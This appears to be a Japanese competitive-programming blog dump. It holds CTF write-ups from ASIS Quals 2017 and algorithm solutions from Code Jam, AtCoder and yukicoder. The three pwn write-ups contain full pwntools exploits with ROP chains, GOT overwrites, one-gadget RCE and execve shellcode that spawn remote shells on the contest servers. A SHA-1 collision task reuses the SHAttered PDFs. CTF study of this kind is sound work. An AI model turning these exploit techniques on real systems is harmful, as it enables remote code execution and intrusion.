ASIS CTF Quals 2017: Start hard

,

https://asis-ctf.ir/challenges/

https://github.com/david942j/one_gadget 便利だった。

problem

Start がNX enabledになったもの。

solution

shellcodeが使えないのでone-gadget RCEする。 libcは与えられてないので推測からのpartial writeでread $\to$ writeして確認。 readのGOTをpartial writeして踏む。 libc baseの下位がちょうどいいものになるまでガチャをする。

implementation

#!/usr/bin/env python2
from pwn import * # https://pypi.python.org/pypi/pwntools
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('host', nargs='?', default='128.199.152.175')
parser.add_argument('port', nargs='?', default=10001, type=int)
parser.add_argument('--log-level', default='debug')
parser.add_argument('--binary', default='start_hard')
args = parser.parse_args()
context.log_level = args.log_level
context.binary = args.binary

elf = ELF(args.binary)
libc_csu_init_a = 0x4005a0
libc_csu_init_b = 0x4005ba

libc_read  = 0xf6670
libc_write = 0xf66d0
one_gadget_rce = 0xf0567

# $ md5sum /lib/x86_64-linux-gnu/libc.so.6
# eea5f41864be6e7b95da2f33f3dec47f  /lib/x86_64-linux-gnu/libc.so.6
# $ one_gadget /lib/x86_64-linux-gnu/libc.so.6
# 0xf0567	execve("/bin/sh", rsp+0x70, environ)
# constraints:
#   [rsp+0x70] == NULL

while True:
    # with process(args.binary) as p:
    with remote(args.host, args.port) as p:

        payload = ''
        payload += 'A' * 16
        payload += 'A' * 8 # rbp
        payload += p64(libc_csu_init_b)
        payload += p64(0) # rbx
        payload += p64(1) # rbp
        payload += p64(elf.got['read']) # r12 -> rip
        payload += p64(2) # r13 -> rdx
        payload += p64(elf.got['read']) # r14 -> rsi
        payload += p64(0) # r15 -> edi, stdin
        payload += p64(libc_csu_init_a)
        payload += 'A' * 8 # add 8
        payload += 'A' * 8 # rbx
        payload += 'A' * 8 # rbp
        payload += 'A' * 8 # r12
        payload += 'A' * 8 # r13
        payload += 'A' * 8 # r14
        payload += 'A' * 8 # r15
        payload += p64(elf.plt['read'])
        payload += '\0' * 0x100
        p.send(payload)

        time.sleep(0.3)
        p.send(chr(0x67) + chr(0x05))

        try:
            time.sleep(0.3)
            p.sendline('id')
            p.recvline()
        except:
            pass
        else:
            p.interactive()
            break

ASIS CTF Quals 2017: Fu Interpreter

,

https://asis-ctf.ir/challenges/

http://pwnable.kr でやった。

problem

brainfuckっぽい謎処理系。

solution

data pointerをGOT上まで動かして書き換え。 x86なのでone-gadget RCEはだめ。 putcharmainに書き換え、strlensystemに書き換える。 再度のfgetsからのstrlenで発火。

implementation

#!/usr/bin/env python2
from pwn import * # https://pypi.python.org/pypi/pwntools
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('host', nargs='?', default='69.90.132.40')
parser.add_argument('port', nargs='?', default=4001, type=int)
parser.add_argument('--log-level', default='debug')
parser.add_argument('--binary', default='fulang')
parser.add_argument('--libc', default='libc6-i386_2.23-0ubuntu7_amd64.so')
args = parser.parse_args()
context.log_level = args.log_level
elf = ELF(args.binary)
libc = ELF(args.libc)
p = remote(args.host, args.port)
# p = process(args.binary)

# 0x0003ada0 libc.system
# 0x00075410 libc.strlen
# 0x080486de main
# 0x0804a01c got.puts
# 0x0804a020 got.strlen
# 0x0804a02c got.putchar
# 0x0804a060 obj.fu
# 0x0804a080 *obj.fu
code = ''
code += '(' # use puts
code += '<' * 0x20 # move fu onto itself
code += '.' * 1 # obj.fu = got.puts
code += ':>:>:>:>' # send got.puts
code += '.>.>.>.>' # got.strlen = system
code += '>>>>>>>>'
code += '.>.>.>.>' # got.putchar = { fgets(code, n, stdin); strlen(code); }
code += ':' # use putchar
code = ''.join(map(lambda c: ':' + c, code))
assert len(code) < 150
p.recvuntil('Enter your code:')
p.sendline(code)
assert p.recvline() == 'Not implemented yet!\n'
p.send(chr(0x1c)) # got.puts
puts = u32(p.recvn(4))
log.info('puts: %#x', puts)
libc_base = puts - libc.symbols['puts']
log.info('libc base: %#x', libc_base)
system = libc_base + libc.symbols['system']
log.info('system: %#x', system)
p.send(p32(system)) # libc.system
p.send(p32(0x80486de)) # main
p.sendline('/bin/sh')

time.sleep(1)
p.sendline('id')
p.interactive()

ASIS CTF Quals 2017: Start

,

https://asis-ctf.ir/challenges/

problem

read(0, stack, 0x400);するだけのバイナリ。NX disabled。

solution

ROPして適当な静的領域に再度readし、shellcodeを置いて踏むだけ。

implementation

#!/usr/bin/env python2
from pwn import * # https://pypi.python.org/pypi/pwntools
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('host', nargs='?', default='139.59.114.220')
parser.add_argument('port', nargs='?', default=10001, type=int)
parser.add_argument('--log-level', default='debug')
parser.add_argument('--binary', default='Start')
args = parser.parse_args()
context.log_level = args.log_level
context.binary = args.binary

elf = ELF(args.binary)
static = 0x601000
libc_csu_init_a = 0x4005a0
libc_csu_init_b = 0x4005ba

p = remote(args.host, args.port)
# p = process(args.binary)

payload = ''
payload += 'A' * 16
payload += 'A' * 8 # rbp
payload += p64(libc_csu_init_b)
payload += p64(0) # rbx
payload += p64(1) # rbp
payload += p64(elf.got['read']) # r12 -> rip
payload += p64(1024) # r13 -> rdx
payload += p64(static + 0x900) # r14 -> rsi
payload += p64(0) # r15 -> edi
payload += p64(libc_csu_init_a)
payload += 'A' * 8 # add 8
payload += 'A' * 8 # rbx
payload += 'A' * 8 # rbp
payload += 'A' * 8 # r12
payload += 'A' * 8 # r13
payload += 'A' * 8 # r14
payload += 'A' * 8 # r15
payload += p64(static + 0x900)
p.send(payload)

time.sleep(1)

# http://shell-storm.org/shellcode/files/shellcode-806.php
shellcode = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
p.send(shellcode)

time.sleep(1)

p.sendline('id')
p.interactive()

ASIS CTF Quals 2017: ShaColla

,

https://asis-ctf.ir/challenges/

problem

$ ./a.py --log-level info
[+] Opening connection to 66.172.27.77 on port 52317: Done
[*] Hi all, let's go to sha1ing!!
    Are you ready? [Y]es or [N]o:
[*] Send us two distinct string with same length and same sha1 hash, with given condition :)
    ----------------------------------------------------------------------------------------
[*] the sha1 hash shoud be started with 469e8
    Send the first string:
[*] prefix: 469e8
[+] Starting local process './a.out': Done
[*] Process './a.out' stopped with exit code 0
[*] Send the second string:
[*] Good job, you got the flag :)
    ASIS{U_mus7_kn0w_sha1_pr0p3r71es_l1ke_hack3rZ!}
    Quiting ...
[*] Closed connection to 66.172.27.77 port 52317

solution

shattered (https://shattered.io/) から衝突する文字列を借りてきて、指示されたprefixになるよう末尾をいじる。 SHA1はblockごとに前から処理していくのでそれが可能。 先頭$320$byteだけ切り出して使わないと遅い。

implementation

#!/usr/bin/env python2
import zlib
import hashlib
import itertools
from pwn import * # https://pypi.python.org/pypi/pwntools
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('host', nargs='?', default='66.172.27.77')
parser.add_argument('port', nargs='?', default=52317, type=int)
parser.add_argument('--log-level', default='debug')
args = parser.parse_args()
context.log_level = args.log_level
p = remote(args.host, args.port)

log.info('%s', zlib.decompress(p.recv()))
p.send(zlib.compress('Y'))

log.info('%s', zlib.decompress(p.recv()))
s = zlib.decompress(p.recv())
log.info('%s', s)
prefix = s.splitlines()[0].split()[7]
log.info('prefix: %s', prefix)

with process('a.out') as shattered:
    shattered.sendline(prefix)
    suffix = shattered.recvline().rstrip()
shattered = []
with open('shattered-1.pdf') as fh:
    shattered += [ fh.read() ]
with open('shattered-2.pdf') as fh:
    shattered += [ fh.read() ]
assert hashlib.sha1(shattered[0][: 320] + suffix).hexdigest().startswith(prefix)
assert hashlib.sha1(shattered[1][: 320] + suffix).hexdigest().startswith(prefix)
p.send(zlib.compress(shattered[0][: 320] + suffix))
log.info('%s', zlib.decompress(p.recv()))
p.send(zlib.compress(shattered[1][: 320] + suffix))

log.info('%s', zlib.decompress(p.recv()))
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <openssl/sha.h>
int xctoi(char c) {
    switch (c) {
        case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9':
            return c - '0';
        case 'A': case 'B': case 'C': case 'D': case 'E': case 'F':
            return c - 'A' + 10;
        case 'a': case 'b': case 'c': case 'd': case 'e': case 'f':
            return c - 'a' + 10;
        default:
            exit(EXIT_FAILURE);
    }
}
int main(void) {
    // input
    char prefix_string[2 * SHA_DIGEST_LENGTH + 1];
    scanf("%s", prefix_string);
    uint8_t prefix_0 = (xctoi(prefix_string[0]) << 4) | xctoi(prefix_string[1]);
    uint8_t prefix_1 = (xctoi(prefix_string[2]) << 4) | xctoi(prefix_string[3]);
    uint8_t prefix_2 = (xctoi(prefix_string[4]) << 4);
    // load shattered
    int pdf_length = 320;
    int text_length = pdf_length + 8;
    unsigned char *s = malloc(text_length + 1);
    FILE *fh = fopen("shattered-1.pdf", "r");
    for (int i = 0; i < pdf_length; ++ i) {
        s[i] = fgetc(fh);
    }
    // search
    uint8_t digest[SHA_DIGEST_LENGTH];
#define repeat(c) for (c = 'A'; c <= 'Z'; ++ c)
    repeat (s[pdf_length + 0]) {
    repeat (s[pdf_length + 1]) {
    repeat (s[pdf_length + 2]) {
    repeat (s[pdf_length + 3]) {
    repeat (s[pdf_length + 4]) {
    repeat (s[pdf_length + 5]) {
    repeat (s[pdf_length + 6]) {
    repeat (s[pdf_length + 7]) {
#undef repeat
        SHA1(s, text_length, digest);
        if (digest[0] == prefix_0 && digest[1] == prefix_1 && (digest[2] & 0xf0) == prefix_2) {
            goto done;
        }
    }}}}}}}}
done:
    // output
    s[text_length] = 0;
    printf("%s\n", s + pdf_length);
    return 0;
}

Google Code Jam Qualification Round 2017: C. Bathroom Stalls

,

https://code.google.com/codejam/contest/3264486/dashboard#s=p2

solution

座標は答えなくていいことに注意して、区間の列を操作していく。だいたい$O(\log N)$。

長さ$N$の区間を$1$個queueに入れた状態から始めて、 最も大きい区間を長さ$n$としてこれが$k$個あるとき、これらをqueueから取り出して代わりに長さ$\lceil \frac{n-1}{2} \rceil, \r \frac{n-1}{2} \rceil$の区間をそれぞれ$k$個ずつ入れるというのを繰り返せばよい。 同じ長さの区間をきちんとまとめれば$O(\log N)$程度になるので間に合う。

implementation

#include <cstdio>
#include <map>
#include <tuple>
#define repeat(i,n) for (int i = 0; (i) < int(n); ++(i))
using ll = long long;
using namespace std;
pair<ll, ll> solve(ll n, ll k) {
    map<ll, ll> que;
    que.emplace(n, 1);
    while (true) {
        ll len, cnt; tie(len, cnt) = *que.rbegin(); que.erase(len);
        ll l = (len - 1) / 2;
        ll r = (len - 1 + 1) / 2;
        que[l] += cnt;
        que[r] += cnt;
        k -= cnt;
        if (k <= 0) {
            return make_pair(r, l);
        }
    }
}
int main() {
    int t; scanf("%d", &t);
    repeat (x,t) {
        ll n, k; scanf("%lld%lld", &n, &k);
        ll y, z; tie(y, z) = solve(n, k);
        printf("Case #%d: %lld %lld\n", x+1, y, z);
    }
    return 0;
}

Google Code Jam Qualification Round 2017: A. Oversized Pancake Flipper

,

https://code.google.com/codejam/contest/3264486/dashboard#s=p0

solution

$1$次元LigthsOut。貪欲。$O(N^2)$。imos法とかすれば$O(N)$になるはず。

implementation

#!/usr/bin/env python3
def solve(s, k):
    s = list(map(lambda c: int(c == '+'), s))
    cnt = 0
    for i, c in enumerate(s):
        if not c and i + k <= len(s):
            cnt += 1
            for di in range(k):
                s[i+di] ^= 1
    if 0 in s:
        return 'IMPOSSIBLE'
    else:
        return cnt
t = int(input())
for x in range(t):
    s, k = input().split()
    k = int(k)
    print('Case #{}: {}'.format(x+1, solve(s, k)))

AtCoder Regular Contest 071: F - Infinite Sequence

,

http://arc071.contest.atcoder.jp/tasks/arc071_d

これはみんな解いてくるよなあと思いつつだらだらやってたら落とした。誤読とか飯とかの影響とはいえ、つらい。

solution

DP。制約を持たない列を長さごとに数える。$O(N)$。

たとえば$n = 5$であれば、$(), (1), (2, 1, 1), (3, 1, 1, 1), (4, 1, 1, 1, 1), (1, 2, 1, 1), (1, 3, 1, 1, 1), \dots$のような列はその後ろに数字を追加していくことを考えたとき、列中の数字を全て$1$と見做してよい。このようなものをまとめて数える。これはDP。

$1$以外の数が連続すると(例えば$(3, 4)$)その制約が再帰的に影響して、それ以降の数字が全て決まってしまう(同: $(3, 4, 4, 4, \dots)$)。 これと第$n$項以降は全て同じというのを合わせて、上のDP結果から計算すればよい。

implementation

#include <cstdio>
#include <vector>
#define repeat(i,n) for (int i = 0; (i) < int(n); ++(i))
#define repeat_from(i,m,n) for (int i = (m); (i) < int(n); ++(i))
using ll = long long;
using namespace std;
constexpr int mod = 1e9+7;
int main() {
    int n; scanf("%d", &n);
    // count free sequences
    vector<ll> dp(2*n);
    vector<ll> acc(2*n+1);
    dp[0] = 1;
    acc[1] = 1;
    repeat_from (i,1,2*n) {
        int l = max(0, i-n-1);
        int r = max(0, min(n-1, i-2));
        dp[i] = (acc[r] - acc[l] + (i-1 < n-1 ? dp[i-1] : 0)) % mod;
        acc[i+1] = (acc[i] + dp[i]) % mod;
    }
    // compute the result
    ll result = 0;
    repeat (i,n-1) {
        result += dp[i] * (n-1) % mod * (n-1) % mod;
    }
    result += dp[n-1] * n % mod;
    repeat_from (i,n,2*n) {
        result += dp[i] % mod;
    }
    result %= mod;
    if (result < 0) result += mod;
    printf("%lld\n", result);
    return 0;
}

AtCoder Regular Contest 071: E - TrBBnsformBBtion

,

http://arc071.contest.atcoder.jp/tasks/arc071_c

solution

A Bは交換可能。累積和しておいて比較。$O(|S| + |T| + Q)$。

AB $\to$ AAA $\to$ BBAA $\to$ BAAAA $\to$ BAとすればA Bは交換可能。よって区間中のA Bの数だけ気にすればよい。 後は適当に比較する。 両方を全てA (あるいはB)に変換してしまって、$3$で割った余りを比較するのが楽だったらしい。A $\to$ BB $\to$ AAAAかつAAAA $\to$ Aなので$3$つ刻みでは自由に増減できる。

implementation

#include <iostream>
#include <vector>
#include <array>
#include <cassert>
#define repeat(i,n) for (int i = 0; (i) < int(n); ++(i))
using ll = long long;
using namespace std;

int main() {
    array<string, 2> s; cin >> s[0] >> s[1];
    array<vector<int>, 2> a_acc;
    repeat (p,2) {
        a_acc[p].resize(s[p].length() + 1);
        repeat (i, s[p].length()) {
            a_acc[p][i+1] = a_acc[p][i] + (s[p][i] == 'A');
        }
    }
    auto pred = [&](int l0, int r0, int l1, int r1) {
        // swap is possible: AB AAA BBAA BAAAA BA
        int a0 = a_acc[0][r0] - a_acc[0][l0];
        int a1 = a_acc[1][r1] - a_acc[1][l1];
        int b0 = (r0 - l0) - a0;
        int b1 = (r1 - l1) - a1;
        assert (a0 or b0);
        if (a0 < a1) { int delta = a1 - a0; a0 += delta; b0 += delta; } // A BB AAB or B AA ABB
        if (b0 < b1) { int delta = b1 - b0; a0 += delta; b0 += delta; } // A BB AAB or B AA ABB
        assert (a1 <= a0 and b1 <= b0);
        int delta = b0 - b1;
        b0 -= delta;
        a0 += 2 * delta;
        return (a0 - a1) % 3 == 0;
    };
    int q; cin >> q;
    while (q --) {
        int l0, r0, l1, r1; cin >> l0 >> r0 >> l1 >> r1; -- l0; -- l1;
        cout << (pred(l0, r0, l1, r1) ? "YES" : "NO") << endl;
    }
    return 0;
}

Yukicoder No.503 配列コレクション

,

http://yukicoder.me/problems/no/503

solution

DP。$O(N^2)$。

$N, K$を固定すれば操作終了後の配列の長さおよび操作回数は常に一定。それぞれ$n, r$と呼ぶこととする。 操作後の配列の要素は全て$D^k$の形をしていて、その指数部の総和は操作回数$r$に等しい。つまり$n$個の要素に$r$個を振り分けるようになっている。

DPで求める。配列の長さと指数部の総和からの関数$f$を$f(n,r)$が答えであるようにして、$f(i,j)$はそれぞれ$O(j)$で計算できる。 ただし$f$の計算には$f(i,j)$の条件を満たす配列の個数も必要で、これを隣で求めていく必要がある。重複組み合わせあたりで毎回計算してもよい。

implementation

#include <cstdio>
#include <vector>
#define repeat(i,n) for (int i = 0; (i) < int(n); ++(i))
using ll = long long;
using namespace std;
template <typename X, typename T> auto vectors(X x, T a) { return vector<T>(x, a); }
template <typename X, typename Y, typename Z, typename... Zs> auto vectors(X x, Y y, Z z, Zs... zs) { auto cont = vectors(y, z, zs...); return vector<decltype(cont)>(x, cont); }

const int mod = 1e9+7;
int solve(int n, int k, int d) {
    int r = 0; while (n >= k) { n -= k-1; r += 1; }
    if (d == 1) return n;
    auto dp  = vectors(n+1, r+1, 0);
    auto cnt = vectors(n+1, r+1, 0);
    dp[0][0] = 1;
    cnt[0][0] = 1;
    repeat (x,r) {
        dp[0][x+1] = dp[0][x] *(ll) d % mod;
        cnt[0][x+1] = 1;
    }
    repeat (y,n-1) {
        repeat (x,r+1) {
            ll acc = 0;
            ll cntacc = 0;
            repeat (z,x+1) {
                acc += dp[y][x-z] + cnt[y][x-z] *(ll) dp[0][z] % mod;
                cntacc += cnt[y][x-z];
            }
            dp[y+1][x] = acc % mod;
            cnt[y+1][x] = cntacc % mod;
        }
    }
    return dp[n-1][r];
}

int main() {
    int n, k, d; scanf("%d%d%d", &n, &k, &d);
    printf("%d\n", solve(n, k, d));
    return 0;
}

Yukicoder No.502 階乗を計算するだけ

,

http://yukicoder.me/problems/no/502

writerをした。 良くも悪くも人気だった。 どちらかと言えば成功だったと思っている。

もともと星1の問題を作ろうとしたけど間に合わないと判断して埋め込んだものだった。 しかし今思うとTLE $3.0$secぐらいなら本気を出せばぎりぎり通せるはず。 提出コードの上限サイズは 64KB ですみたいな文言を入れた上で星2というのもありだったかも。

solution

埋め込み。

implementation

#!/usr/bin/env python3
mod = 10**9+7
width = 1000
table = [ 1, 128233642, 993191796, 246084337, 175673566, 883787401, 470931556, 119995528, 225567908, 757928892, 250015370, 913979655, 754758, 207715304, 680281231, 630322311, 642314838, 834078844, 599226039, 918470969, 777847830, 188150013, 936569805, 609321015, 803755964, 506567627, 733034722, 525152703, 125374323, 229063893, 64381203, 331225140, 239876153, 938119791, 238030663, 963888220, 269540267, 288849729, 868543185, 176093029, 129227219, 57384053, 510217116, 42904984, 1283621, 229119361, 122050053, 83923714, 99441611, 723598838, 664720426, 824990192, 899870337, 994461247, 78470227, 616312139, 585511607, 457301297, 774218347, 24761471, 220551652, 797724439, 42696969, 433164019, 825454299, 183907026, 881797659, 823559228, 703904407, 624713517, 805011386, 175293956, 157911929, 315160646, 59387184, 711105445, 710926865, 239798930, 734168782, 513146799, 71626953, 883937988, 613778426, 107738376, 960564286, 84887701, 771212964, 71595332, 319321717, 980960223, 368173468, 67320689, 862499851, 864972828, 48646097, 670160814, 725736339, 790163830, 663423088, 255691818, 388742192, 305094892, 522669454, 472392039, 946047214, 445919328, 748072600, 923340633, 932008794, 641127822, 633943807, 473400148, 55310953, 397250219, 468376442, 583215176, 797665328, 890028978, 528044431, 795787957, 546160751, 21487680, 168379396, 292434098, 414672346, 74193376, 460353865, 599810935, 250857617, 915366231, 248863345, 970381475, 792991318, 740333468, 505276601, 404393468, 273222696, 38135257, 776858195, 153730583, 642800490, 383597969, 352113689, 326414281, 751880110, 401720832, 321560177, 799699361, 847915310, 122391227, 227253170, 943226946, 628558171, 741676814, 471158688, 954631869, 493837145, 558658912, 420443735, 350090863, 217956259, 331145950, 853718873, 294871436, 441691230, 450998982, 237913344, 891941663, 1946260, 405112401, 448399780, 134526127, 246436561, 278169858, 460138465, 93785028, 536128669, 614812564, 895531956, 53159706, 343122361, 979426864, 535308676, 821698590, 111592160, 392955473, 447760971, 209213748, 847593978, 203062304, 203128902, 787544197, 498828478, 184919578, 105720019, 69934934, 13384364, 973282740, 449768173, 269308198, 904824556, 182396273, 584885733, 396642025, 609732757, 302161309, 183805719, 163566228, 479978003, 98799651, 976400196, 125377402, 799132752, 870397588, 644664934, 129577634, 690319271, 611331587, 653433224, 140236662, 409788350, 991717810, 62680229, 190864441, 36959486, 149551212, 850748843, 164689931, 861991239, 929807057, 969665321, 847381024, 849985007, 211790079, 300573111, 274608474, 852794964, 947517699, 845476998, 892993251, 942841378, 752521136, 160135971, 872092879, 947081586, 43872472, 699047819, 356785202, 852607095, 799881153, 78633765, 743118036, 270375915, 917589851, 68917553, 710229437, 55629368, 618076743, 280545717, 675792083, 46429647, 151769255, 451990910, 175101818, 843430958, 38053664, 646697534, 23357308, 206681493, 888773710, 419288563, 102196642, 166544838, 158026445, 853567157, 547481582, 271969574, 391772235, 700892631, 483230045, 622773713, 745587272, 464843479, 112408178, 48833532, 419683777, 357283581, 893210864, 753476511, 49462239, 43950471, 623405550, 245081995, 772845334, 469206379, 631437749, 684644905, 793794697, 569684184, 860006640, 158036420, 392172613, 162031808, 602247245, 203070433, 384809257, 29972101, 344657818, 105304879, 159934700, 539867530, 111755839, 775104266, 722056100, 480533881, 603649910, 730015093, 32522487, 687171713, 684911737, 629028067, 75924301, 327784991, 613277615, 911404085, 68597770, 92366073, 745625029, 473314335, 507714509, 98679775, 522660661, 475294170, 305900432, 650978491, 240960675, 954022341, 297423873, 233051932, 288347091, 181067811, 822741050, 72596087, 389928500, 925730861, 660630476, 418823335, 494735470, 956973216, 280787188, 577131628, 195596415, 780760749, 646964034, 492636384, 290950928, 665101198, 971833316, 402869341, 31542354, 448714637, 853057984, 859647481, 659285587, 703667161, 442458694, 57325142, 151885002, 151752857, 953328299, 274699378, 797580192, 900864549, 977052491, 903191059, 560104200, 52364315, 317587469, 733519519, 51326765, 172718980, 394213323, 499127130, 125665101, 599958067, 570048626, 358205301, 955898164, 396169962, 863114450, 524877565, 561615134, 336979830, 751853389, 98033418, 914857313, 669594871, 233002010, 798378948, 353985696, 132400827, 853908795, 633800050, 114199369, 8366891, 369520637, 840068688, 154949227, 766964103, 1213933, 283566441, 213654982, 766431359, 140028557, 389857786, 592586116, 294866824, 626984599, 88266364, 960355422, 299777072, 159529372, 433368021, 546910609, 640482852, 176367836, 62590712, 619758852, 519471843, 689296297, 688241748, 125464096, 549853046, 180640016, 669655376, 304486472, 552708211, 641131096, 250145685, 522823788, 422054382, 614827289, 213695506, 564996794, 816097193, 472957326, 627305145, 419352923, 233618208, 201907686, 789638131, 935757716, 321551236, 258348634, 248012645, 915754672, 94217171, 566557194, 883879696, 841856794, 386613162, 570112346, 183700660, 278268556, 308943479, 160666387, 737303060, 567134616, 327727771, 639296326, 219084929, 949740710, 467443562, 16455771, 875530545, 782951703, 711107295, 863411295, 578371653, 66207956, 375238282, 908681407, 515884084, 90795523, 455372810, 89837046, 165491515, 545433366, 660354454, 653260780, 270146387, 283056775, 39236829, 89221906, 548284763, 958657863, 647273634, 738216290, 960141650, 192631043, 647619052, 435099529, 111019175, 387052722, 349026437, 943168803, 597199864, 798930903, 280032050, 191489048, 871756271, 864201473, 573902924, 776735804, 795907052, 513212481, 703258263, 151087418, 176917020, 492333520, 645927523, 842232145, 918613011, 167094468, 506609335, 871613850, 791653278, 688384948, 512230762, 466482156, 483519685, 433675444, 266224879, 712040274, 316470404, 6297629, 247528343, 266547054, 831469341, 917532298, 459833872, 954893577, 614837703, 484625452, 614869637, 917743182, 905427381, 449126127, 796820262, 408509829, 273602905, 130924280, 1363238, 389499824, 954805317, 932440256, 34161376, 646994455, 672836257, 808301053, 929096963, 231765547, 390778694, 403445961, 653868071, 549355895, 901843642, 882716412, 125812900, 266137390, 250231633, 801863164, 862419855, 603909210, 141087179, 919738330, 901776094, 636804992, 717115643, 982881315, 278589981, 897622715, 592874475, 963773361, 139945137, 389252372, 890252510, 865544569, 462018791, 972099566, 849449796, 319640588, 967009768, 977653667, 710029654, 805234475, 831002177, 275336330, 422855006, 949746887, 541794170, 641881338, 296285475, 292901421, 107561334, 338689309, 112458779, 325082011, 3976415, 304229218, 601214344, 86328828, 751441489, 862204727, 554702266, 186018851, 166853623, 545193868, 432626342, 498556538, 860331963, 609479011, 974179405, 836442658, 315554906, 589911857, 242364047, 745675667, 630588185, 96935486, 898831734, 753652548, 83905053, 205072787, 486649120, 696978729, 371086126, 376354590, 740911902, 983182992, 959047580, 971565881, 279013191, 628219669, 483423122, 559666181, 748528679, 349865602, 276254737, 103092679, 990713044, 883898451, 334011645, 643112778, 85592384, 110938911, 78761716, 162118715, 110215007, 361560450, 218658983, 958290706, 760866197, 29604925, 704254054, 884528885, 571553124, 722545849, 511824535, 189127084, 293444525, 539142876, 642675615, 952158794, 312246024, 275756454, 200298706, 261130169, 62294542, 510890694, 385243308, 87361521, 503202218, 685328461, 550921230, 668093102, 699944378, 251795690, 907314994, 834548983, 352821537, 549529635, 281274542, 587974019, 795434349, 753132255, 415545290, 77523025, 281787237, 176567548, 722869575, 34478434, 714412522, 671034944, 329114990, 958416239, 745926726, 754875902, 211334210, 513547036, 381109223, 400825307, 949915497, 794380771, 663920989, 690042117, 830304630, 901554891, 751723357, 837761558, 378511108, 115298175, 325447247, 614534142, 840758997, 813807256, 591333543, 691718994, 672655144, 699954263, 85458370, 19198497, 754433496, 300341823, 886939169, 54570137, 616323646, 496090306, 34402024, 817983914, 915965688, 479650439, 388452570, 454605978, 750397062, 559638074, 303896928, 22416828, 441748912, 635659640, 815695490, 812160395, 166688469, 740163360, 14049893, 284479436, 190422595, 187192515, 376697732, 47634513, 160874373, 126508400, 775997892, 99363239, 493832830, 763882002, 701596576, 15590851, 257335774, 894463993, 185206871, 441874230, 746700252, 302941806, 868371723, 139345496, 869630341, 144717208, 187345841, 866229903, 724450461, 648235214, 776271119, 672074506, 602185675, 656002752, 240125575, 759576687, 463430427, 24769850, 862837188, 53160078, 513987022, 118514895, 188179897, 699945777, 115323244, 199918423, 833621264, 805714018, 463715736, 180028074, 475829876, 235402877, 772103983, 49684084, 443337661, 655366896, 289638503, 258332145, 360855087, 899672361, 530502576, 801491866, 641986630, 940068353, 797422831, 378645901, 853709985, 87792814, 398991956, 660101704, 243383485, 532777074, 459644547, 702843272, 209971686, 829986137, 470834910, 246066405, 806738292, 39284371, 389133055, 321621467, 698830270, 670701663, 45171714, 633003395, 90710349, 967169522, 541775025, 988685463, 21712927, 170049523, 503374186, 602599325, 962557054, 800216315, 767004598, 737518012, 609437737, 530398437, 82759720, 621977664, 548979006, 245507299, 832068105, 80911832, 416356617, 318565618, 40420676, 412673617, 923197226, 594087420, 42029599, 521233968, 806698019, 833042288, 321490146, 468133703, 773978131, 414775293, 774760659, 300992794, 274025195, 445949927, 819855707, 528038317, 620344533, 51066611, 742263715, 539906647, 9185408, 244838920, 887410937, 539585878, 233938533, 832701367, 208941375, 890452341, 320097016, 460377592, 383972524, 956067685, 534451216, 946322067, 950977861, 379271132, 363268251, 740246294, 446595916, 554740081, 585267057, 666743526, 941443156, 923656781, 122441988, 203736886, 815895710, 498136156, 239856470, 992717436, 743674726, 96127672, 932528338, 278615623, 146992535, 68306453, 131167060, 272573946, 851897254, 782985541, 759971846, 767877668, 505054565, 682447171, 154820240, 351374909, 29839511, 846987109, 213673769, 590919567, 264042121, 189663389, 717706128, 781660659, 590772569, 670325982, 9239468, 791592672, 51083743, 740568821, 281574447, 587141513, 553122503, 340747559, 726765483, 771154066, 145504712, 464498808, 328555850, 866235034, 289880945, 310574040, 31723627, 26631855, 19526377, 58086236, 918654424, 582386705, 784853394, 657402015, 976196645, 154059840, 149978308, 600014675, 7004660, 658540583, 953807513, 842210720, 300038049, 525785906, 487155590, 970029619, 25074612, 511691999, 455850881, 892170974, 730230612, 811413348, 426045335, 640134437, 120756795, 527174688, 712332795, 372350239, 770574347, 775312159, 726265742, 117585021, 808434455, 150599746, 257106196, 676730440, 520558862, 38297346, 220183171, 564917745, 346371991, 627835740, 900198419 ]
def fact(n):
    if n >= mod:
        return 0
    acc = table[n // (mod // width)]
    init = n // (mod // width) * (mod // width)
    for i in range(max(1, init), n+1):
        acc = acc * i % mod
    return acc
n = int(input())
print(fact(n))

Yukicoder No.501 穴と文字列

,

http://yukicoder.me/problems/no/501

出力部分は無視するとして、$O(1)$でできるよなあと思いつつ$O(N)$した。 $O(N \log N)$も考えたが、$O(N)$にする方が早かったので$O(N)$。

#include <iostream>
using namespace std;
int main() {
    int n, d; cin >> n >> d;
    string s;
    while (n) {
        if (d and d < 2*n) {
            s += 'A';
            d -= 1;
        } else if (d) {
            s += 'B';
            d -= 2;
        } else {
            s += 'C';
        }
        n -= 1;
    }
    cout << s << endl;
    return 0;
}

Yukicoder No.500 階乗電卓

,

http://yukicoder.me/problems/no/500

剰余とるけどそのまま出力ではだめなの面白かった。$2$WAした。

  • すぐに飽和するので$0$になるまで回せばよい
  • $0$埋めはprintf("%012lld\n", x);が楽
#include <cstdio>
using ll = long long;
using namespace std;
int main() {
    ll n; scanf("%lld", &n);
    constexpr ll mod = 1e12;
    ll fact = 1;
    bool is_overflown = false;
    for (ll i = 0; fact and i < n; ++ i) {
        if (fact * (i+1) >= mod) is_overflown = true;
        fact = fact * (i+1) % mod;
    }
    printf(is_overflown ? "%012lld\n" : "%lld\n", fact);
    return 0;
}

Yukicoder No.499 7進数変換

,

http://yukicoder.me/problems/no/499

writerをした。 星1が難しかった回の終了後に「yukicoderはゆるふわを名乗ってるのだから星1の問題は全員が解けるべきなんだよ」って言いながら作った。 しかし順位表を見ると$9$WA生やして通せずな人がひとりだけいたのでやはりまだ難しすぎるようだ。 $N = 0$のときのコーナーは意図したもので、ちょうど$1$WAだけしている人が多く見られたので楽しかった。

ついでにwriter権限で自明最短コードを提出していた。

dc -e?7op


AtCoder Beginner Contest 057: C - Digits in Multiplication

,

http://abc057.contest.atcoder.jp/tasks/abc057_c

深く考えず素因数の数$k$に対し$O(2^k)$したけど、想定は素因数分解も不要の$O(\sqrt{N})$だった。 Standard MLの練習に集中してたのになんだか騙し討ちでも喰らった気分。

implementation

fun sievePrimes(n) =
let
  val isPrime = Array.array(n, true)
  fun fill(i, j) =
    if j < n
